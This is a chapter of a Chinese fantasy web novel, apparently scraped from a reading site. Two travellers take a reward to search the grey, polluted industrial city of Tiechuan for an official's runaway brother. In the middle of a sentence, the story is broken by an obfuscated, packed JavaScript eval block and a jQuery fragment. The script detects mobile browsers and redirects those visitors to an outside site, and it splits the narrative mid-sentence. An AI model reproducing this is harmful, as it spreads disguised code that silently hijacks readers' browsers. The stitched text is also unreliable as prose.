20. 灰色城市
作品:《楚州夏》 铁川城门口,城防驻军处,一男一女相伴走来。邱田恬手中拿着一张纸,是她从万高村告示板上揭下的,上面正是陆泗寻找弟弟的画像,上书:“幼弟离家出走,于铁川一带失踪,如有人发现踪迹,必有重谢。”
两人看见“重谢”二字,想都没想就把告示揭了下来。
客栈那火起的蹊跷,查了半天也不是店家过失,赔不了两人的损失,好在民风淳朴的村民们也没让两人赔钱,村医还免了给莫筱初包扎的费用。
废墟里翻翻找找,邱田恬找到了自己被烧炸的手机,只剩下一个黑色壳子,完全没有能再用的可能,只能含泪丢弃。好在自己的身份证只是被烧黑了,正面的名字和照片还能看清,邱田恬把它贴身放好。她觉得这身份证是唯一能证明她是谁的东西,如果自己在这异界横死,这里的人应该也能看身份证知道她的名字。
至于那些钱就不用想了,全都化为黑灰了。
莫筱初那情况也差不多,他包里还有随身携带的水壶和干粮,全都随着盘缠被烧得一干二净。他浑身上下只剩陆凌渊给他的金叶子,但这东西又不能随意拿出去变卖。
两人晚上的一番豪言壮语顷刻灰飞烟灭,现在最要紧的事变成从哪搞点钱来花。
陆泗张贴的寻人告示,可谓是雪中送炭。
邱田恬停在铁川城门,对卫兵说道:“我有事寻陆泗陆大人,和他在寻找的人有关,劳烦通报一声。”她递出手中的画像,卫兵了然,转头去通报。
身后,莫筱初捂得严实,一言不发。陆泗认识他,所以莫筱初还是少有动作比较好。
不一会,卫兵得了消息,来把两人迎进城内——挺好,又不用身份文牒就能进城了。
铁川是座被灰雾笼罩的城市,城内和渠京大相径庭,若说渠京城内光鲜亮丽、络绎不绝,那铁川则是刚硬肃穆,行人寥寥。
如同它的名字一样,铁川是座灰色的城市,楼房多用石块垒成,大多都是平房,四四方方的,没有那些飞檐斗拱的装饰。而街道两边光秃秃的,几乎没有花草树木,地上时不时可以看见一滩滩黑水,不知到底是何物。往城内远方看去,隐隐约约可以看见一些被灰雾遮掩的高耸巨物,时不时传来几声巨响,似是巨兽轰鸣,地面都在微微震动。
走入雾中,邱田恬立马闻到一股难闻的气味,她说不上来是什么味道,只觉得呛人无比,头晕目眩,她赶紧捂住口鼻。先前,邱田恬已经了解一些情况,知道铁川是座新兴的工业城市,但没想到这座城如此压抑,污染如此严重。
带路的士兵似乎已经习惯,面色如常,把两人带到一间刷了红漆的小楼面前,进去通报一声后,打开大门。
门内,正站着昨日找邱田恬询问的那人——陆泗。他今日已经剃了胡茬,但眼中还是难掩疲惫,似乎操劳已久。
陆泗倒是彬彬有礼,他身为铁川城防驻军的代理城守尉,居然先拱手给邱田恬行了一个武人之礼:“姑娘,我记得你,可是想到什么新线索了?”
邱田恬开门见山:“实不相瞒,我们在行路途上遇到一点资金困难,若陆大人可以慷慨解囊……”邱田恬声音渐熄,大家都是聪明人,说到这,想必陆泗也能明白此意。
“当然不成问题!”陆泗果然很快答到,但他话锋一转,“不过,姑娘也莫拿模棱两可的说辞忽悠我,我在军中小有官职,姑娘若真有线索,陆某自然不会亏待。”
那句“小有官职”看似是在承诺自己拿得出报酬,但也是在威慑,如果邱田恬敢为了钱骗他,那他也绝不轻饶。
邱田恬也听出他话中威胁,继续说道:“实不相瞒,六月二十四日,我们曾在路上与陆公子同行过一段时间。”
“同行”与邱田恬昨日说的“遇见”,可不是一个含义的词。果不其然,陆泗听邱田恬此言改口,话语顿时有了怒意:“姑娘昨日可不是如此说的。”
见他如此,邱田恬心中有些寒颤,但面上仍旧不卑不亢:“小女子在外多有危险,总想独善其身,此时看到大人焦急,也第一时间来告知线索,还望大人谅解。”
未等陆泗再做反应,邱田恬赶紧继续说:“我们同行不到半个时辰,当时天下暴雨,陆公子心善,让我们上马车避雨。”
“我看大人的告示中写陆公子‘离家出走’,但当日我见他时,他身旁有两位女侍伺候,还有一车夫驾车,陆公子似乎很听那车夫的话,不像是离家出走的样子。”
陆泗越听,眉头皱得越紧:“他可还与姑娘说过其他事?”
思考片刻后,邱田恬应道:“有。”
她挑挑拣拣说了一些内容:“陆公子说自己在游历江湖,自称青衣侠客,还有句诗号,叫什么‘天下风云一剑收’……”
“停。”陆泗赶紧打断她,看得出来,他也知道陆凌渊这德行。
邱田恬跳过那句诗,继续说道:“陆公子提过要到铁川缉拿要犯,具体情况如何,我们就不知了。”
她隐去关于莫筱初的事情,毕竟本人站在她身后,还是不提为好。
"陆大人,这就是我们知道的全部,报酬您看……"
陆泗了然,拿出一张千文大钞,果然出手阔绰。邱田恬努力按下嘴角笑容,毫不客气地收下,告辞转身。莫筱初像块冷漠无情地钢铁,也跟着她转身要走。
“姑娘,请稍留步。”
谁料,陆泗居然叫住了她:“不知姑娘是否有留宿铁川的打算,我军务在身,确实繁忙,难以抽身去寻找调皮的弟弟。如果姑娘能帮我寻找,我愿意给姑娘五万文报酬,并承担姑娘在铁川停留的所有食宿花销。”
多少?五万?邱田恬第一次体验到见钱眼开的冲动,要知道,他们的盘缠没被烧掉之前,加起来也才两万左右!
但邱田恬的理智告诉她,天降横财或有蹊跷,她忍下内心冲动,刚想开口拒绝,却见陆泗变戏法似的不知又从哪掏出一叠千文大钞,数出一半递给她:“姑娘可以先收着这两万,算是定金。”
好吧,谁叫两万文砸弯英雄腰呢?
“陆大人放心!”邱田恬第一次把“大人”二字叫得如此真情实意,“就算把铁川翻出来,我也一定把那小子、哦不,把陆公子找回来!”
……
铁川最豪华的客栈最豪华的房间里,莫筱初第一次见邱田恬如此开心,是在数钱的时候。
两万一千文,一文不多一文不少,这可是周夏普通人一年的收入!
莫筱初把斗笠摘了透气,看邱田恬开始数第三遍,着实忍不住开口:“你不是一直都不喜欢管这类闲事吗?为何突然答应找陆凌渊,真是为了钱吗?”
“那不然呢?”邱田恬抬头盯着他,又觉得他脸上伤疤画得太真,吓人,低下头继续数钱,“你是富家少爷,没经历过贫穷的日子,但我这种小老百姓清楚得很,虽说钱不是万能的,但没有钱万万不能。俗话说得好,有钱能使鬼推磨。”
“哪里的俗话,我怎么没听过。”
“……我家乡的俗话。”
“你的家乡真的好迷信。”
邱田恬又被古代人说迷信了。她无语道:“俗话而已,较真干什么?魔法这种东西放我家乡也是迷信,你不觉得很像妖术吗?”
莫筱初摸摸下巴:“据说几百年前魔法被发现时,人们称之为仙术,因为记载魔法的天书从天而降,金光闪闪,宛若神仙降临。”
“天书,还有这东西?”邱田恬又听到一个新概念,这里的魔法咒文都是数学,他们所谓的天书不会是本高等数学书吧。
……不能细想,太违和了。
看莫筱初还是怏怏不乐的样子,邱田恬安抚道:“好了好了,无非是找个毛头小子,这城市还没有渠京大,找上几天肯定会有线索。如果实在找不着,我们就去把钱退给陆泗。”
邱田恬其实想说,如果找不着,他们就带着这两万文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158306|196555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远走高飞,但想想陆泗这一官半职,别把邱田恬也挂上通缉令,还是保险为妙。更何况,莫筱初这个老实性子,怕是不喜做这种偷鸡摸狗的事情。
数完第三遍,邱田恬把那些钱一分为二,一半放进自己的内袋,另一半给莫筱初:“咱们一人一半,都贴身放着吧,避免再发生那种钱被烧了的事。”
那叠钱沉甸甸的,莫筱初感觉自己的胸口越来越大,里面放着空痕笔木盒,放着陆家金叶,放着之前挂在刀柄上的玉佩(为了防止被陆泗认出,他把玉佩取下来了),此时又要塞进去一叠钱……这也太沉重了。
邱田恬行动迅速,说干就干,趁着今天太阳还没落山,她准备先逛一圈铁川城,熟悉情况,方便找人。
铁川还是灰蒙蒙的,她问客栈要了两个面罩,稍微遮挡难闻的空气,走上街道,为数不多的商铺此时都门可罗雀,只有几家饭店还算有点烟火气息。
邱田恬也能理解这幅景象。铁川大部分居民都是工厂工人,此时刚到日入,工厂还未下班,人们都被锁在厂子里,街上自然无人。
她问莫筱初:“你之前说铁川多工业,都是做哪种工业的?”
莫筱初说:“大多都是钢铁工业,比如铁道、火车、还有你之前见过的云舟,这些大型魔法工具所用的基础材料,基本都是铁川产出的。”
“铁川北部有个城市,名为庆同,那里盛产矿石,除了基础的铁矿铜矿外,还有丰富的素原矿。而铁川到庆同之间皆是平原,便于铁路运输;还有一条渠江支流,名为‘大川河’,刚好可以满足航运。所以庆同产出的矿石,大部分会直接运来铁川加工,再送往其他地方。”
邱田恬已经发现,莫筱初很了解这些事,或许是因为从小也被当成护国公继承人培养,对于国家各个地区的发展都如数家珍。虽然他思想天真了些,但专业知识确实过硬。
不过邱田恬也有些疑惑:“为什么一定要运往铁川加工?直接在庆同加工不行吗?”
莫筱初摇摇头:“庆同那地方……说实话,不像是人类能生存的地方。”
“你看过地图,应该知道周夏最北部是荒山山脉,荒山如其名,虽然山顶积雪每逢春季融化,都会形成溪流,但荒山从始至终都没有任何植被长出,也没有任何动物存在,因此被称作荒山。”
“而庆同就处于荒山山脚下,那也是座新兴城市,因为十年前在荒山山脚发现了丰富的矿脉资源,于是无数矿工进入荒山,人多了,自然也就有了城。但人们尝试多年,荒山的土地都无法种植,所以时至今日,物资只能从外面运进去,让城市能够平稳运转。”
“现在庆同的人口已经饱和,加工的工作只能转移到其他城市进行,刚好铁川是距离庆同最近的人口聚集地,没过几年,铁川就飞速从农村变成了工业城。”
莫筱初思路清晰,邱田恬也听得入迷,她喜欢听周夏的这些发展,能让她感受到这个世界的真实。莫筱初说到这,看看眼前灰色的城市,不禁叹气:“我先前听闻过,铁川现在有很严重的环境污染,但没想到如此令人心惊。”
两人一边闲聊,一边在街道上走着,不知不觉走进那群高楼之中,这里是铁川的城中心,是一座座巨大的钢铁工厂。而这里,宛若异国。
周夏那些古色古香的建筑在此地已经完全消失,取而代之的是近乎于现代产业园的布局。每座高楼四四方方,几乎没有额外装饰,高耸的灰色烟囱扎入云层,向外吐着黑色的废气,空气中的异味愈发浓重。
邱田恬突然感觉余光中有什么东西一闪而过,低头看去,才发现自己脚下不知何时已经踩上一块巨大的青灰石板,放眼望去,这片区域的地面皆由石板铺成,石板上刻着诸多细小繁密的符文,中间还有如电路一般的线条,时不时就会有光点顺着线条流动掠过。
不等邱田恬惊叹,空中突然传来“咚咚咚”三声巨响。
铁川的工人们下班了。

